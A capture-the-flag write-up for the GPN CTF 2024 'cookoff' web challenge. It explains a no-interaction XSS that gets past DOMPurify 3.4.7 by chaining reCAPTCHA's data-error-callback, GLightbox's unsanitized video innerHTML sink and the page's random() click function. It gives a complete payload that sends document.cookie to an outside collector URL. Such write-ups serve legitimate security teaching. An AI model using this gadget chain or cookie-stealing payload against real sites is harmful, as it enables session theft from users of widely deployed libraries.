cookoff
gpnctf
Task: XSS on a voting page protected by DOMPurify 3.4.7 with reCAPTCHA and GLightbox loaded; bot sets flag cookie and visits attacker URL. Solution: chain reCAPTCHA data-error-callback auto-fire gadget with GLightbox video innerHTML sink and page's random() click function to achieve no-interaction XSS bypassing DOMPurify.
$ ls tags/ techniques/
cookoff — GPN CTF 2024
Description
We hosted a cookoff please vote. The best dish will be added to the menu
A static voting page ("Karlsruhe Cook-Off") is served at http://localhost:1337. It accepts a ?shareText= query parameter, sanitizes it with DOMPurify.sanitize() (v3.4.7, default config), and injects the result into #shared-text.innerHTML. The page loads three external libraries: GLightbox (lightbox/gallery), DOMPurify 3.4.7 (HTML sanitizer), and Google reCAPTCHA (api.js async defer).
A Playwright bot (admin.js) sets a cookie "flag" + FLAG on localhost:1337, then navigates to an attacker-provided URL (must start with http://localhost:1337), waits 10 seconds, and closes. The bot does not click anything. No CSP is set.
The goal is to achieve XSS to exfiltrate document.cookie.
Analysis
The sink
const shareText = new URLSearchParams(location.search).get("shareText"); if (shareText !== null) { document.getElementById("shared-section").hidden = false; document.getElementById("shared-text").innerHTML = DOMPurify.sanitize(shareText); }
DOMPurify 3.4.7 with default config strips all event handlers, <script>, <iframe>, <object>, <base>, <meta>, SVG event attributes, and dangerous URI schemes. However, it preserves class and all data-* attributes on standard HTML elements. This is the key to the exploit.
The constraints
- DOMPurify 3.4.7 — no known mXSS bypasses; all event handlers stripped
- Bot doesn't click — any gadget requiring user interaction is out
- No CSP — if we can execute JS, there are no restrictions on what it does
- URL must start with
http://localhost:1337— payload goes in?shareText=
Available globals
The page defines/loads these callable window functions:
GLightbox()— re-initializes the lightbox libraryrandom()— clicks a randominput[name="vote"]elementDOMPurify— the sanitizergrecaptcha— reCAPTCHA object (methods are dotted, not directly callable)
Three gadgets identified
Gadget 1: reCAPTCHA data-error-callback (auto-fire primitive)
The reCAPTCHA library auto-renders any element with class="g-recaptcha" on page load. When given an invalid data-sitekey, reCAPTCHA triggers the function named in data-error-callback by doing a flat window[name]() lookup — no arguments, auto-fires without user interaction. This is a well-known gadget from kevin-mizu's GMSGadget collection and terjanq's TokyoWesterns CTF 2020 research.
From the reCAPTCHA source (recaptcha__en.js):
if (typeof L === 'function') f = L; else if (typeof window[L] === 'function') f = window[L]; // called with no args, this=window
DOMPurify allows this through because class and data-* attributes survive sanitization:
<div class="g-recaptcha" data-sitekey="invalid" data-error-callback="GLightbox"></div>
Gadget 2: GLightbox video innerHTML sink (post-sanitization XSS)
GLightbox's video slide handler builds HTML for local video playback by concatenating the slide's href directly into a string:
l += '<source src="'.concat(c, '">'); // c = t.href from data-href g = y(l); // y() does: div.innerHTML = e — RAW innerHTML, NO sanitization!
The data-href attribute on a .glightbox element sets t.href via GLightbox's parseConfig (reads e.dataset[key]). The sanitizeValue method only converts "true"/"false" to booleans — it does NOT sanitize HTML.
So data-href='q"><img src=x onerror=PAYLOAD>' produces:
<source src="q"><img src=x onerror=PAYLOAD>
This is set via raw innerHTML, causing the <img onerror> to fire — bypassing DOMPurify entirely since the dangerous HTML is constructed by GLightbox AFTER sanitization.
Gadget 3: random() provides the click primitive
The video innerHTML sink only fires when a lightbox slide is opened (requires a click). The bot doesn't click. The page's own random() function solves this:
function random() { const options = document.querySelectorAll('input[name="vote"]'); const randomOption = options[Math.floor(Math.random() * options.length)]; randomOption.click(); }
By making our injected element an <input name="vote" class="glightbox" data-type="video" data-href="...">, it matches BOTH input[name="vote"] (for random()) and .glightbox (for GLightbox click binding). When random() clicks it, GLightbox's click handler fires open(), which triggers the video slide build with our malicious data-href.
Chaining the gadgets
The execution order matters:
-
GLightbox()must be called first via reCAPTCHA error-callback — this re-initializes GLightbox, which re-scans the DOM and binds click handlers to our newly injected.glightboxelement (the originalGLightbox()call at page load ran before our payload was injected viainnerHTML) -
random()must be called after — it clicks our injected<input>, triggering GLightbox's open → video build → innerHTML sink → XSS
Multiple reCAPTCHA divs with different data-sitekey values ensure timing reliability.
Solution
Final payload
<input name="vote" class="glightbox" data-type="video" data-href='q"><img src=x onerror=location=`https://COLLECTOR?c=`+document.cookie>'> <div class="g-recaptcha" data-sitekey="gl0" data-error-callback="GLightbox"></div> <div class="g-recaptcha" data-sitekey="gl1" data-error-callback="GLightbox"></div> <div class="g-recaptcha" data-sitekey="gl2" data-error-callback="GLightbox"></div> <div class="g-recaptcha" data-sitekey="gl3" data-error-callback="GLightbox"></div> <div class="g-recaptcha" data-sitekey="gl4" data-error-callback="GLightbox"></div> <div class="g-recaptcha" data-sitekey="rn0" data-error-callback="random"></div> <div class="g-recaptcha" data-sitekey="rn1" data-error-callback="random"></div> <div class="g-recaptcha" data-sitekey="rn2" data-error-callback="random"></div> <div class="g-recaptcha" data-sitekey="rn3" data-error-callback="random"></div> <div class="g-recaptcha" data-sitekey="rn4" data-error-callback="random"></div>
Execution flow
- Bot navigates to
http://localhost:1337/?shareText=ENCODED_PAYLOAD - DOMPurify sanitizes the payload — all elements survive (standard tags +
class+data-*attributes are allowed by default) - Sanitized HTML is injected into
#shared-textviainnerHTML - reCAPTCHA
api.js(loaded async) auto-renders all.g-recaptchaelements - Invalid sitekeys trigger error-callbacks:
GLightbox()re-inits (binds click handler to injected.glightboxinput), thenrandom()clicks the input - GLightbox's click handler fires
open()→ video-local path →y()sets innerHTML withdata-hrefcontaining<img onerror=...> onerrorfires:location = 'https://webhook.site/UUID?c=' + document.cookie- Browser navigates to collector with the flag cookie in the URL
Delivery
URL-encode the payload into ?shareText=... and send to the bot:
http://localhost:8080/bot/run?url=http://localhost:1337/?shareText=<URL_ENCODED_PAYLOAD>
What didn't work
- DOMPurify mXSS bypass — all known mXSS bypasses are patched in 3.4.7
- GLightbox
data-descriptionselector gadget — requires a click to open the lightbox; bot doesn't click - DOM clobbering of
document.scripts—SANITIZE_DOM(default on) blocksname="scripts"on forms - Loading AngularJS via reCAPTCHA JSONP — reCAPTCHA doesn't auto-load attacker-controlled scripts; its bundle uses SRI-pinned resources
- Direct script/iframe/object injection — all stripped by DOMPurify default config
<iframe srcdoc>,<base>,<meta http-equiv=refresh>— all stripped by DOMPurify
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [web][free]Secure Secretpickle— gpnctf
- [web][free]Simple food notifications— gpn24
- [web][free]SecretPickle— gpnctf
- [infra][free]Old food— gpnctf24
- [web][free]recipeloader— gpn24